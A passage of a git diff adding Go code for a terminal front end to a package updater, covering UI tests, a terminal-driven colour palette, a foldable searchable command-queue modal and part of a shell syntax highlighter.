+ m.mergeChecks([]plan.Check{{Label: "orphaned packages", OK: true}},
+ []string{"pacnew files", "orphaned packages"})
+
+ if len(m.doc.Checks) != 1 {
+ t.Fatalf("checks = %+v", m.doc.Checks)
+ }
+ if m.doc.Checks[0].Label != "orphaned packages" || !m.doc.Checks[0].OK {
+ t.Errorf("the surviving check is stale: %+v", m.doc.Checks[0])
+ }
+}
+
+// -- the drill-down actually receives what it asked for --------------------
+
+func TestAPayloadReachesTheModalThatAskedForIt(t *testing.T) {
+ // Non-key messages are handled by the model before a modal sees them,
+ // which is right for plan loading and wrong for a fetch: the drill-down
+ // opened the modal and then its payload was discarded, so it sat on
+ // "loading…" for good.
+ doc := sample()
+ m := loaded(t, doc, 100, 30)
+ for i, n := range m.visible {
+ if n.Kind == KindPackage {
+ m.cursor = i
+ break
+ }
+ }
+ pkg := m.visible[m.cursor].Name
+ updated, _ := m.drillDown()
+ m = updated.(Model)
+ if m.modal == nil {
+ t.Fatal("drill-down did not open a modal")
+ }
+ next, _ := m.Update(detailMsg{pkg: pkg, detail: &plan.Detail{
+ Package: pkg, Installed: "1-1", Available: "2-1"}})
+ view := plain(next.(Model).modal.View(90, 26))
+ if strings.Contains(view, "loading…") {
+ t.Errorf("the payload never arrived:\n%s", view)
+ }
+}
+
+func TestTextBodyReachesTheModal(t *testing.T) {
+ doc := sample()
+ m := loaded(t, doc, 100, 30)
+ m.modal = newText("advisory")
+ next, _ := m.Update(textBodyMsg{title: "advisory", lines: []string{"the record"}})
+ view := plain(next.(Model).modal.View(90, 26))
+ if !strings.Contains(view, "the record") {
+ t.Errorf("the body never arrived:\n%s", view)
+ }
+}
+
+// -- undo restores rather than toggles -------------------------------------
+
+func TestUndoPutsBackASkipThatWasThenUnskipped(t *testing.T) {
+ // The map key is present after either toggle, so undo has to be told the
+ // prior state; inferring it left "skip then unskip" unable to restore.
+ doc := sample()
+ m := loaded(t, doc, 100, 30)
+ for i, n := range m.visible {
+ if n.Kind == KindPackage && n.Section == "AUR" {
+ m.cursor = i
+ break
+ }
+ }
+ name := m.visible[m.cursor].Name
+
+ updated, _ := m.toggleSkip() // skip
+ m = updated.(Model)
+ if !m.skipped[name] {
+ t.Fatalf("%s was not skipped", name)
+ }
+ updated, _ = m.toggleSkip() // unskip
+ m = updated.(Model)
+ if m.skipped[name] {
+ t.Fatalf("%s was not unskipped", name)
+ }
+ updated, _ = m.undoLast() // should put the skip back
+ m = updated.(Model)
+ if !m.skipped[name] {
+ t.Errorf("undo did not restore the skip; skipped=%v", m.skipped[name])
+ }
+}
+
+// -- the abort key does not arm a second reader ----------------------------
+
+func TestAbortDoesNotArmASecondReader(t *testing.T) {
+ // Two readers on one channel run closeStream twice; the second Wait fails
+ // and overwrites a clean exit 0 with "exited 1".
+ events := make(chan plan.Event, 4)
+ b := NewBuildView([]string{"aur"}, 2)
+ b.Apply(plan.Event{Event: "start", Phases: []string{"aur"}, Total: 2})
+ m := Model{build: b, stream: &plan.Stream{Abort: func() {}},
+ width: 100, height: 30, cfg: testConfig(t)}
+
+ next, cmd := m.Update(keyRunes("ctrl+c"))
+ m = next.(Model)
+ if !m.abortArmed {
+ t.Fatal("the first press did not arm")
+ }
+ _ = events
+ if cmd != nil {
+ t.Error("the first press armed a reader")
+ }
+ next, cmd = m.Update(keyRunes("ctrl+c"))
+ if cmd != nil {
+ t.Error("the abort press armed a second reader on the same stream")
+ }
+}
+
+func keyRunes(s string) tea.KeyMsg {
+ if s == "ctrl+c" {
+ return tea.KeyMsg{Type: tea.KeyCtrlC}
+ }
+ return tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune(s)}
+}
+
+// fakeBackend points the model at a stand-in interpreter that answers with a
+// plan of the shape a real one would, so the preview path is exercised whole.
+func fakeBackend(t *testing.T, planJSON string) plan.Backend {
+ t.Helper()
+ dir := t.TempDir()
+ script := filepath.Join(dir, "python3")
+ if err := os.WriteFile(script, []byte("#!/bin/sh\ncat <<'JSON'\n"+
+ planJSON+"\nJSON\n"), 0o755); err != nil {
+ t.Fatalf("could not write the stand-in: %v", err)
+ }
+ return plan.Backend{Python: script, Module: "updater"}
+}
+
+func TestAPreviewWithNothingToShowIsNotAFailure(t *testing.T) {
+ // An up-to-date system has no command queue. "There is nothing here" is an
+ // answer to "show me the queue", not an error to exit on -- but it is still
+ // an error value, so a caller that cannot tell the difference exits 1.
+ m := New(fakeBackend(t, `{"repo":[],"aur":[],"vcs":[],"checks":[],"steps":[]}`),
+ testConfig(t))
+ _, err := m.RenderOnce(100, 30, "plan", "")
+ if err == nil {
+ t.Fatal("nothing to show was reported as success")
+ }
+ if !errors.Is(err, ErrNothingToShow) {
+ t.Errorf("not distinguishable from a real failure: %v", err)
+ }
+ if !strings.Contains(err.Error(), "nothing to queue") {
+ t.Errorf("the message does not explain itself: %v", err)
+ }
+}
+
+func TestARealFailureIsNotMistakenForNothingToShow(t *testing.T) {
+ // The sentinel must not swallow a genuine problem, or the preview would
+ // exit 0 on a broken checkout.
+ m := New(fakeBackend(t, `{"repo":[],"aur":[],"vcs":[],"checks":[],"steps":[]}`),
+ testConfig(t))
+ _, err := m.RenderOnce(100, 30, "no-such-overlay", "")
+ if err == nil {
+ t.Fatal("an unknown overlay was reported as success")
+ }
+ if errors.Is(err, ErrNothingToShow) {
+ t.Errorf("a real failure reads as an empty preview: %v", err)
+ }
+}
+
+func TestTheLoadingScreenDoesNotClaimToKnowWhatIsHappening(t *testing.T) {
+ // It used to list the phases it expected to run as static dim lines that
+ // never changed, so they read as progress while measuring nothing -- and
+ // the plan has not been read yet, so it genuinely does not know.
+ m := Model{loading: true, loadingAt: time.Now().Add(-3 * time.Second),
+ width: 70, height: 20, cfg: testConfig(t)}
+ view := plain(m.loadingView())
+ if !strings.Contains(view, "loading") {
+ t.Errorf("it does not say what it is doing:\n%s", view)
+ }
+ for _, claim := range []string{
+ "reading the package database", "refreshing repository databases",
+ "auditing AUR PKGBUILDs", "checking advisories",
+ } {
+ if strings.Contains(view, claim) {
+ t.Errorf("it still claims %q:\n%s", claim, view)
+ }
+ }
+ if !strings.Contains(view, "3s") {
+ t.Errorf("it does not say how long it has been:\n%s", view)
+ }
+}
+
+func TestTheLoadingScreenAnimates(t *testing.T) {
+ // One thing moves now, and it must actually move: six frames that render
+ // the same are a still image, not a loading screen.
+ m := Model{loading: true, loadingAt: time.Now(), width: 70, height: 20,
+ cfg: testConfig(t)}
+ seen := map[string]bool{}
+ for spin := 0; spin < 6; spin++ {
+ m.spin = spin
+ seen[plain(m.loadingView())] = true
+ }
+ if len(seen) < 4 {
+ t.Errorf("six frames produced only %d distinct screens", len(seen))
+ }
+}
+
+func TestTheLoadingScreenFitsAnyTerminal(t *testing.T) {
+ // It must fit rather than be clipped. `place` keeps the centre of an
+ // over-tall box, and on a bordered box that means losing the border, which
+ // reads as a rendering fault rather than as a small terminal.
+ m := Model{loading: true, loadingAt: time.Now(), cfg: testConfig(t)}
+ for height := 8; height <= 60; height += 2 {
+ for _, width := range []int{40, 50, 60, 80, 120, 200} {
+ m.width, m.height = width, height
+ for spin := 0; spin < 4; spin++ {
+ m.spin = spin
+ view := m.loadingView()
+ lines := strings.Split(view, "\n")
+ if len(lines) > height {
+ t.Errorf("%dx%d: %d lines", width, height, len(lines))
+ }
+ for _, line := range lines {
+ if w := ansi.StringWidth(line); w > width {
+ t.Errorf("%dx%d: a line is %d cells", width, height, w)
+ }
+ }
+ plain := plain(view)
+ if !strings.Contains(plain, "╭") || !strings.Contains(plain, "╰") {
+ t.Errorf("%dx%d: the box lost its border:\n%s", width, height, plain)
+ }
+ }
+ }
+ }
+}
diff --git a/tui/internal/ui/palette.go b/tui/internal/ui/palette.go
@@ -0,0 +1,166 @@
+// Package ui is the Bubble Tea front end.
+//
+// Colour comes from the terminal's own 16-slot palette, exactly as the Python
+// renderer does it: we name a slot, the terminal decides what it looks like. The
+// profile is pinned to ANSI (not truecolour) so Lip Gloss emits colour indices
+// rather than resolved RGB, which is what makes the theme follow the terminal.
+package ui
+
+import (
+ "os"
+ "strings"
+
+ "github.com/charmbracelet/lipgloss"
+ "github.com/muesli/termenv"
+)
+
+// renderer pins the colour profile to ANSI-16.
+//
+// This has to be an explicit renderer rather than lipgloss.SetColorProfile in an
+// init(): package-level variables are initialised *before* init() runs, so the
+// styles would be built against the auto-detected profile and then have the
+// profile changed underneath them. Lip Gloss reacts to that mismatch by emitting
+// an escape pair around every single character.
+var renderer = func() *lipgloss.Renderer {
+ r := lipgloss.NewRenderer(os.Stdout)
+ if os.Getenv("UPDATER_TRUECOLOR") != "" {
+ return r // let it detect; useful for capture and debugging
+ }
+ // Forced rather than detected: piping the frame (--print) is not a TTY, and
+ // without this the styling vanishes and the layout cannot be inspected at
+ // all. 16 colours only -- anything richer would hardcode a theme we do not
+ // own, and the whole point is that the terminal decides.
+ r.SetColorProfile(termenv.ANSI)
+ return r
+}()
+
+// The ANSI-16 slot names, matching scripts/theme.py on the Python side.
+const (
+ slotBlack = "0"
+ slotRed = "1"
+ slotGreen = "2"
+ slotYellow = "3"
+ slotBlue = "4"
+ slotMagenta = "5"
+ slotCyan = "6"
+ slotBrightBlack = "8"
+ slotBrightRed = "9"
+ slotBrightGreen = "10"
+ slotBrightYellow = "11"
+ slotBrightMagenta = "13"
+ slotBrightCyan = "14"
+)
+
+// Roles. Bold and faint do real work here, not decoration: a theme is free to
+// make two slots indistinguishable, so the attribute is a second channel.
+var (
+ Text = renderer.NewStyle()
+ Muted = renderer.NewStyle().Foreground(lipgloss.Color(slotBrightBlack))
+ Rule = renderer.NewStyle().Foreground(lipgloss.Color(slotBrightBlack)).Faint(true)
+ Accent = renderer.NewStyle().Foreground(lipgloss.Color(slotBrightGreen)).Bold(true)
+ OK = renderer.NewStyle().Foreground(lipgloss.Color(slotGreen)).Faint(true)
+ // No underline anywhere. lipgloss emits an SGR sequence *per rune* to draw
+ // one under the pinned ANSI profile: measured, 200 characters cost 2800
+ // bytes underlined against 209 plain, thirteen times over, on every
+ // warning line and every security row. The second channel survives as a
+ // slot difference instead, which is free -- Alert is bright red against
+ // Err's red, Warn is bold against OK's faint -- so a reader whose theme
+ // puts two slots close together still has something to go on. One place
+ // in the build view had already worked around the cost by using Err where
+ // it meant Warn; that workaround is gone.
+ Warn = renderer.NewStyle().Foreground(lipgloss.Color(slotYellow)).Bold(true)
+ Alert = renderer.NewStyle().Foreground(lipgloss.Color(slotBrightRed)).Bold(true)
+ Err = renderer.NewStyle().Foreground(lipgloss.Color(slotRed)).Bold(true)
+ Outgoing = renderer.NewStyle().Foreground(lipgloss.Color(slotRed))
+ Incoming = renderer.NewStyle().Foreground(lipgloss.Color(slotBrightGreen)).Bold(true)
+ Ver = renderer.NewStyle().Foreground(lipgloss.Color(slotCyan))
+
+ // Syntax roles for the shell listings. They are ordinary theme slots, so
+ // the highlighting follows the terminal rather than overriding it.
+ SynVar = renderer.NewStyle().Foreground(lipgloss.Color(slotBrightMagenta)).Bold(true)
+ SynPath = renderer.NewStyle().Foreground(lipgloss.Color(slotCyan))
+ SynURL = renderer.NewStyle().Foreground(lipgloss.Color(slotBlue)).Bold(true)
+ SynString = renderer.NewStyle().Foreground(lipgloss.Color(slotGreen))
+ SynFlag = renderer.NewStyle().Foreground(lipgloss.Color(slotBrightCyan))
+ SynOp = renderer.NewStyle().Foreground(lipgloss.Color(slotBrightBlack))
+)
+
+// Severity maps the audit's own vocabulary onto a role.
+func Severity(severity string) lipgloss.Style {
+ switch severity {
+ case "BLOCK":
+ return Alert
+ case "LOOK":
+ return Warn
+ default:
+ return Muted
+ }
+}
+
+// StylesByRole maps a semantic role name to its style, for the places that
+// carry a role as data rather than choosing a style at the call site.
+func StylesByRole(role string) lipgloss.Style {
+ switch role {
+ case "ok":
+ return OK
+ case "warn":
+ return Warn
+ case "alert":
+ return Alert
+ case "err":
+ return Err
+ case "accent":
+ return Accent
+ case "ver":
+ return Ver
+ case "text":
+ return Text
+ default:
+ return Muted
+ }
+}
+
+// Pane chrome.
+var (
+ Title = renderer.NewStyle().Bold(true)
+ Selected = renderer.NewStyle().Background(lipgloss.Color(slotBrightBlack)).
+ Foreground(lipgloss.Color(slotBrightCyan)).Bold(true)
+ Key = renderer.NewStyle().Foreground(lipgloss.Color(slotBrightGreen))
+ Desc = renderer.NewStyle().Foreground(lipgloss.Color(slotBrightBlack))
+)
+
+// HRule renders a horizontal separator of the given width.
+func HRule(width int) string {
+ if width <= 0 {
+ return ""
+ }
+ buf := make([]rune, width)
+ for i := range buf {
+ buf[i] = '─'
+ }
+ return Rule.Render(string(buf))
+}
+
+// Box is the modal chrome: rounded, padded, and quiet. Matches the other tools
+// in this tree so the family resemblance is obvious.
+var Box = renderer.NewStyle().
+ Border(lipgloss.RoundedBorder()).
+ BorderForeground(lipgloss.Color(slotBrightBlack)).
+ Padding(1, 2)
+
+// TabActive / TabIdle are the modal tab states.
+var (
+ TabActive = renderer.NewStyle().
+ Background(lipgloss.Color(slotBrightGreen)).
+ Foreground(lipgloss.Color(slotBlack)).
+ Bold(true)
+ TabIdle = renderer.NewStyle().Foreground(lipgloss.Color(slotBrightBlack))
+)
+
+// KeyField renders a keybinding's key right-aligned in a fixed field.
+func KeyField(key string, width int) string {
+ if len(key) > width {
+ width = len(key)
+ }
+ return Accent.Render(strings.Repeat(" ", width-len(key)) + key)
+}
diff --git a/tui/internal/ui/palette_test.go b/tui/internal/ui/palette_test.go
@@ -0,0 +1,62 @@
+package ui
+
+import (
+ "strings"
+ "testing"
+
+ "github.com/charmbracelet/lipgloss"
+)
+
+func TestNoStyleUnderlines(t *testing.T) {
+ // lipgloss emits an escape sequence per rune to underline: 200 characters
+ // cost 2800 bytes against 209 plain. No style may carry it back.
+ text := strings.Repeat("x", 200)
+ for name, render := range map[string]func(string) string{
+ "Warn": func(s string) string { return Warn.Render(s) },
+ "Alert": func(s string) string { return Alert.Render(s) },
+ "Err": func(s string) string { return Err.Render(s) },
+ "OK": func(s string) string { return OK.Render(s) },
+ } {
+ got := len(render(text))
+ if got > 400 {
+ t.Errorf("%s renders %d bytes for 200 characters; underline is back",
+ name, got)
+ }
+ }
+}
+
+func TestWarnAndAlertStayDistinguishableFromTheirNeighbours(t *testing.T) {
+ // The second channel has to survive for a theme whose slots look alike.
+ for _, pair := range [][2]func(string) string{
+ {func(s string) string { return Alert.Render(s) },
+ func(s string) string { return Err.Render(s) }},
+ {func(s string) string { return Warn.Render(s) },
+ func(s string) string { return OK.Render(s) }},
+ } {
+ if pair[0]("x") == pair[1]("x") {
+ t.Errorf("two roles render identically: %q", pair[0]("x"))
+ }
+ }
+}
+
+func TestAdvisoriesAreColouredBySeverityNotFixability(t *testing.T) {
+ // Fixability has its own channel -- the "fixed in X" text. Colouring the
+ // severity label by it made Critical and Low the same shade, which is the
+ // one distinction a security list exists to make.
+ seen := map[string]lipgloss.Style{}
+ for _, sev := range []string{"Critical", "High", "Medium", "Low", "Unknown"} {
+ seen[sev] = StylesByRole(advisoryRole(sev))
+ }
+ if seen["Critical"].Render("x") == seen["Low"].Render("x") {
+ t.Error("Critical and Low render identically")
+ }
+ if seen["Critical"].Render("x") == seen["Medium"].Render("x") {
+ t.Error("Critical and Medium render identically")
+ }
+ if seen["Medium"].Render("x") == seen["Low"].Render("x") {
+ t.Error("Medium and Low render identically")
+ }
+ if seen["Critical"].Render("x") != Alert.Render("x") {
+ t.Error("Critical is not the alert role")
+ }
+}
diff --git a/tui/internal/ui/queue_modal.go b/tui/internal/ui/queue_modal.go
@@ -0,0 +1,448 @@
+package ui
+
+import (
+ "fmt"
+ "strings"
+
+ tea "github.com/charmbracelet/bubbletea"
+ "github.com/charmbracelet/x/ansi"
+
+ "updater-tui/internal/plan"
+)
+
+// queueModal shows the commands a plan step will run.
+//
+// Grouped by phase and foldable, because a real AUR queue runs to a couple of
+// hundred lines and the question is rarely "read all of it" -- it is "what does
+// the build do" or "does this touch /etc". Search answers the second; folding
+// answers the first.
+type queueModal struct {
+ title string
+ stages []plan.Stage
+ rows []queueRow
+
+ cursor int
+ scroll int // in rendered lines, not rows
+ height int
+ inner int
+ collapsed map[string]bool
+
+ searching bool
+ query string
+ matchAt int
+ matches []int
+ searchErr string
+}
+
+// queueRow is one displayed line: either a phase heading or one command.
+type queueRow struct {
+ header bool
+ phase string
+ stage plan.Stage
+}
+
+// qLine is one rendered line, tagged with the row it came from so the cursor
+// and the scroll position can be related to each other.
+type qLine struct {
+ text string
+ row int
+}
+
+func newQueue(title string, stages []plan.Stage) *queueModal {
+ q := &queueModal{title: title, stages: stages, collapsed: map[string]bool{}}
+ q.rebuild()
+ return q
+}
+
+// rebuild recomputes the visible rows, skipping anything inside a folded phase.
+func (q *queueModal) rebuild() {
+ q.rows = q.rows[:0]
+ seen := map[string]bool{}
+ for _, stage := range q.stages {
+ if stage.Phase != "" && !seen[stage.Phase] {
+ seen[stage.Phase] = true
+ q.rows = append(q.rows, queueRow{header: true, phase: stage.Phase})
+ }
+ if stage.Phase != "" && q.collapsed[stage.Phase] {
+ continue
+ }
+ q.rows = append(q.rows, queueRow{phase: stage.Phase, stage: stage})
+ }
+ if q.cursor >= len(q.rows) {
+ q.cursor = max(0, len(q.rows)-1)
+ }
+ q.recompute()
+}
+
+// phaseCount is how many commands a phase holds, for the folded heading.
+func (q *queueModal) phaseCount(phase string) int {
+ n := 0
+ for _, stage := range q.stages {
+ if stage.Phase == phase {
+ n++
+ }
+ }
+ return n
+}
+
+func (q *queueModal) phaseWarnings(phase string) int {
+ n := 0
+ for _, stage := range q.stages {
+ if stage.Phase == phase && stage.IsWarning() {
+ n++
+ }
+ }
+ return n
+}
+
+func (q *queueModal) Update(msg tea.Msg) (modal, tea.Cmd) {
+ switch msg := msg.(type) {
+ case spinnerTickMsg:
+ return q, nil
+
+ case tea.KeyMsg:
+ if q.searching {
+ return q.updateSearch(msg)
+ }
+ switch msg.String() {
+ case "q", "esc", "ctrl+c":
+ return nil, nil
+ case "j", "down":
+ q.cursor++
+ case "k", "up":
+ q.cursor--
+ case "ctrl+d", "pgdown":
+ q.cursor += 10
+ case "ctrl+u", "pgup":
+ q.cursor -= 10
+ case "g", "home":
+ q.cursor = 0
+ case "G", "end":
+ q.cursor = len(q.rows) - 1
+ case " ", "enter":
+ q.toggle()
+ case "z":
+ q.foldAll()
+ case "Z":
+ q.collapsed = map[string]bool{}
+ q.rebuild()
+ case "/":
+ q.searching = true
+ q.query = ""
+ q.searchErr = ""
+ case "n":
+ q.nextMatch(1)
+ case "N":
+ q.nextMatch(-1)
+ }
+ if q.cursor < 0 {
+ q.cursor = 0
+ }
+ if q.cursor >= len(q.rows) {
+ q.cursor = max(0, len(q.rows)-1)
+ }
+ q.scrollToCursor()
+ }
+ return q, nil
+}
+
+// toggle folds or unfolds the phase the cursor is on or inside.
+func (q *queueModal) toggle() {
+ if q.cursor >= len(q.rows) {
+ return
+ }
+ phase := q.rows[q.cursor].phase
+ if phase == "" {
+ return
+ }
+ q.collapsed[phase] = !q.collapsed[phase]
+ // land the cursor on the heading so it does not jump to a hidden row
+ q.rebuild()
+ for i, row := range q.rows {
+ if row.header && row.phase == phase {
+ q.cursor = i
+ break
+ }
+ }
+}
+
+func (q *queueModal) foldAll() {
+ for _, stage := range q.stages {
+ if stage.Phase != "" {
+ q.collapsed[stage.Phase] = true
+ }
+ }
+ q.rebuild()
+ q.cursor = 0
+}
+
+func (q *queueModal) updateSearch(msg tea.KeyMsg) (modal, tea.Cmd) {
+ switch msg.Type {
+ case tea.KeyEsc:
+ q.searching = false
+ q.query = ""
+ q.searchErr = ""
+ return q, nil
+ case tea.KeyEnter:
+ q.searching = false
+ if q.query != "" && len(q.matches) == 0 {
+ q.searchErr = "no match"
+ }
+ return q, nil
+ case tea.KeyBackspace:
+ if q.query != "" {
+ runes := []rune(q.query)
+ q.query = string(runes[:len(runes)-1])
+ }
+ q.recompute()
+ return q, nil
+ case tea.KeyRunes, tea.KeySpace:
+ q.query += string(msg.Runes)
+ q.recompute()
+ return q, nil
+ }
+ return q, nil
+}
+
+// recompute finds the rows matching the query and unfolds anything hiding them.
+func (q *queueModal) recompute() {
+ q.searchErr = ""
+ q.matches = q.matches[:0]
+ if q.query == "" {
+ return
+ }
+ needle := strings.ToLower(q.query)
+
+ // a fold must not hide a match: searching is how you find things
+ unfolded := false
+ for _, stage := range q.stages {
+ if !strings.Contains(strings.ToLower(stage.Command), needle) &&
+ !strings.Contains(strings.ToLower(stage.What), needle) {
+ continue
+ }
+ if q.collapsed[stage.Phase] {
+ delete(q.collapsed, stage.Phase)
+ unfolded = true
+ }
+ }
+ if unfolded {
+ q.rebuild()
+ return // rebuild recomputes again with the folds open
+ }
+
+ for i, row := range q.rows {
+ if row.header {
+ continue
+ }
+ if strings.Contains(strings.ToLower(row.stage.Command), needle) ||
+ strings.Contains(strings.ToLower(row.stage.What), needle) {
+ q.matches = append(q.matches, i)
+ }
+ }
+ q.matchAt = 0
+ if len(q.matches) > 0 {
+ q.cursor = q.matches[0]
+ q.scrollToCursor()
+ }
+}
+
+func (q *queueModal) nextMatch(step int) {
+ if len(q.matches) == 0 {
+ return
+ }
+ q.matchAt = (q.matchAt + step + len(q.matches)) % len(q.matches)
+ q.cursor = q.matches[q.matchAt]
+ q.scrollToCursor()
+}
+
+// visibleLines is how many rendered lines fit the window.
+//
+// The box contributes a border and a line of padding top and bottom, and the
+// title, summary and footer take six lines between them. Getting this wrong
+// does not clip the view -- lipgloss.Place pads but never truncates -- it makes
+// the whole box taller than the terminal and the top scrolls off.
+func (q *queueModal) visibleLines() int {
+ return max(1, q.height-11)
+}
+
+// layout renders every visible row into flat lines.
+//
+// The window is measured in rendered lines, not rows: a row is one to three
+// lines tall, so counting rows would make the body roughly twice the height of
+// its window and clip the top of the queue away.
+func (q *queueModal) layout(inner int) []qLine {
+ out := make([]qLine, 0, len(q.rows)*2)
+ for i, row := range q.rows {
+ for _, text := range q.rowLines(i, row, inner) {
+ out = append(out, qLine{text: text, row: i})
+ }
+ }
+ return out
+}
+
+func lineOfRow(lines []qLine, row int) int {
+ for i, line := range lines {
+ if line.row == row {
+ return i
+ }
+ }
+ return 0
+}
+
+// scrollToCursor brings the whole cursor row into view, not just its first line.
+func (q *queueModal) scrollToCursor() {
+ lines := q.layout(q.inner)
+ target := lineOfRow(lines, q.cursor)
+
+ height := 1
+ for i := target; i < len(lines) && lines[i].row == q.cursor; i++ {
+ height = i - target + 1
+ }
+ visible := q.visibleLines()
+ if target < q.scroll {
+ q.scroll = target
+ }
+ if target+height > q.scroll+visible {
+ q.scroll = target + height - visible
+ }
+ if q.scroll < 0 {
+ q.scroll = 0
+ }
+}
+
+func (q *queueModal) View(width, height int) string {
+ inner := width - 8
+ if inner < 24 {
+ inner = 24
+ }
+ q.height = height
+ q.inner = inner
+ visible := q.visibleLines()
+
+ var b strings.Builder
+ b.WriteString(Title.Render(q.title))
+
+ // a summary line, so a folded queue still says how much is in it
+ warnings := 0
+ for _, stage := range q.stages {
+ if stage.IsWarning() {
+ warnings++
+ }
+ }
+ summary := fmt.Sprintf("%d commands in %d phases",
+ len(q.stages), q.distinctPhases())
+ if warnings > 0 {
+ summary = Err.Render(fmt.Sprintf("%d command(s) flagged by the audit rules",
+ warnings)) + " · " + summary
+ } else {
+ summary = Muted.Render("Nothing in this queue matched an audit rule") +
+ " · " + summary
+ }
+ b.WriteString("\n\n" + summary + "\n\n")
+
+ lines := q.layout(inner)
+ if q.scroll > len(lines)-visible {
+ q.scroll = max(0, len(lines)-visible)
+ }
+ if q.scroll < 0 {
+ q.scroll = 0
+ }
+ end := min(len(lines), q.scroll+visible)
+ for _, line := range lines[q.scroll:end] {
+ b.WriteString(line.text + "\n")
+ }
+ for i := end - q.scroll; i < visible; i++ {
+ b.WriteString("\n")
+ }
+ b.WriteString(q.footer(inner))
+
+ return place(Box.Render(b.String()), width, height)
+}
+
+func (q *queueModal) distinctPhases() int {
+ seen := map[string]bool{}
+ for _, stage := range q.stages {
+ seen[stage.Phase] = true
+ }
+ return len(seen)
+}
+
+// rowLines renders one row: the command, then its description and the rule that
+// flagged it, each on its own line.
+func (q *queueModal) rowLines(i int, row queueRow, inner int) []string {
+ selected := i == q.cursor
+
+ if row.header {
+ arrow := "▾"
+ if q.collapsed[row.phase] {
+ arrow = "▸"
+ }
+ label := phaseLabel(row.phase)
+ count := Muted.Render(fmt.Sprintf(" %d", q.phaseCount(row.phase)))
+ bad := ""
+ if n := q.phaseWarnings(row.phase); n > 0 {
+ bad = Err.Render(fmt.Sprintf(" %d flagged", n))
+ }
+ // one space, so a heading lines up with the commands beneath it
+ line := " " + Muted.Render(arrow) + " " + label + count + bad
+ if selected {
+ return []string{Selected.Render(ansi.Truncate(ansi.Strip(line), inner, "…"))}
+ }
+ return []string{ansi.Truncate(line, inner, "…")}
+ }
+
+ marker, role := queueMarker(row.stage)
+ style := StylesByRole(role)
+
+ body := " " + style.Render(marker) + " " + highlightShell(row.stage.Command)
+ if selected {
+ body = Selected.Render(ansi.Truncate(ansi.Strip(body), inner, "…"))
+ } else {
+ body = ansi.Truncate(body, inner, "…")
+ }
+
+ out := []string{body}
+ if row.stage.What != "" {
+ // the description sits under the command; on the selected row the
+ // command is already highlighted, so the description stays plain
+ plain := Desc
+ if !selected {
+ plain = Muted
+ }
+ out = append(out, " "+plain.Render(
+ ansi.Truncate(row.stage.What, max(8, inner-6), "…")))
+ }
+ // naming the rule is the whole value of the marker: "dangerous" without a
+ // reason is not actionable
+ if row.stage.Finding != "" {
+ finding := Err
+ if row.stage.Level == "warn" {
+ finding = Warn
+ }
+ out = append(out, " "+finding.Render(
+ ansi.Truncate("flagged: "+row.stage.Finding, max(8, inner-6), "…")))
+ }
+ return out
+}
+
+func (q *queueModal) footer(inner int) string {
+ pos := fmt.Sprintf("[%d/%d]", q.cursor+1, max(1, len(q.rows)))
+ hint := "[j/k] move • [space] fold • [z] fold all • [/] search • [esc] close"
+ if q.searching || q.query != "" {
+ cursor := ""
+ if q.searching {
+ cursor = Accent.Render("_")
+ }
+ hint = "/" + q.query + cursor
+ if len(q.matches) > 0 {
+ hint += Muted.Render(fmt.Sprintf(" %d/%d", q.matchAt+1, len(q.matches)))
+ } else if q.searchErr != "" {
+ hint += Warn.Render(" " + q.searchErr)
+ }
+ }
+ gap := inner - ansi.StringWidth(hint) - len(pos)
+ if gap < 1 {
+ gap = 1
+ }
+ return "\n" + Desc.Render(hint) + strings.Repeat(" ", gap) + Muted.Render(pos)
+}
diff --git a/tui/internal/ui/sh_highlight.go b/tui/internal/ui/sh_highlight.go
@@ -0,0 +1,350 @@
+package ui
+
+import (
+ "regexp"
+ "strings"
+)
+
+// Syntax highlighting for the shell lines in a command queue.
+//
+// A command queue is read for one of two reasons: to recognise what a line is,
+// or to spot the one line that is not like the others. Both are scanning tasks,
+// and a wall of one colour makes both harder. The colours come from the same
+// theme slots as everything else, so this follows the terminal rather than
+// imposing a palette on it.
+//
+// This is presentation only. It never interprets, expands or executes anything:
+// the text shown is exactly the text that will run, with escapes wrapped around
+// it, so widths and copies are unaffected.
+var (
+ shCommand = Accent
+ shFlag = SynFlag
+ shString = SynString
+ shVariable = SynVar
+ shOperator = SynOp
+ shNumber = Ver
+ shComment = Rule
+ shPath = SynPath
+ shURL = SynURL
+ shPlain = Text
+)
+
+func isShellSpace(c byte) bool { return c == ' ' || c == '\t' }
+
+func isWordBreak(c byte) bool {
+ switch c {
+ case ' ', '\t', '|', '&', ';', '<', '>', '(', ')':
+ return true
+ }
+ return false
+}
+
+func isNameByte(c byte) bool {
+ return c == '_' || c == '-' || c == '.' ||
+ (c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') ||
+ (c >= '0' && c <= '9')
+}
+
+// highlightShell colourises one shell command line.
+func highlightShell(line string) string {
+ if line == "" {
+ return line
+ }
+ var b strings.Builder
+ i, n := 0, len(line)
+ expectCommand := true
+
+ for i < n {
+ c := line[i]
+
+ if isShellSpace(c) {
+ b.WriteByte(c)
+ i++
+ continue
+ }
+
+ // A comment runs to the end of the line. Only at a word start, so that
+ // `foo#bar` and `#!` inside a string are left alone.
+ if c == '#' {
+ b.WriteString(shComment.Render(line[i:]))
+ break
+ }
+
+ if w := operatorWidth(line[i:]); w > 0 {
+ op := line[i : i+w]
+ b.WriteString(shOperator.Render(op))
+ i += w
+ switch op {
+ case "|", "||", "&&", ";", "&":
+ expectCommand = true
+ }
+ continue
+ }
+
+ // one word, quotes and all
+ start := i
+ for i < n && !isWordBreak(line[i]) {
+ if q := line[i]; q == '"' || q == '\'' {
+ i++
+ for i < n {
+ if line[i] == '\\' && q == '"' && i+1 < n {
+ i += 2
+ continue
+ }
+ if line[i] == q {
+ i++
+ break
+ }
+ i++
+ }
+ continue
+ }
+ i++
+ }
+ if i == start { // nothing consumed; step over the byte
+ b.WriteString(shPlain.Render(line[i : i+1]))
+ i++
+ continue
+ }
+ b.WriteString(styleWord(line[start:i], expectCommand))
+ expectCommand = false
+ }
+ return b.String()
+}
+
+// operatorWidth matches the shell operators that separate commands.
+func operatorWidth(s string) int {
+ for _, op := range []string{"2>&1", "&&", "||", ">>", "<<", ";;", "|", "&",
+ ";", ">", "<", "(", ")"} {
+ if strings.HasPrefix(s, op) {
+ return len(op)
+ }
+ }
+ return 0
+}
+
+// styleWord colours one shell word, handling the shapes that carry meaning:
+// a flag, an assignment, a quoted string with variables inside it.
+func styleWord(word string, isCommand bool) string {
+ if word == "" {
+ return ""
+ }
+
+ // NAME=value
+ if eq := strings.IndexByte(word, '='); eq > 0 &&
+ !strings.HasPrefix(word, "-") && !strings.ContainsAny(word[:eq], "\"'$") {
+ name := word[:eq]
+ ok := true
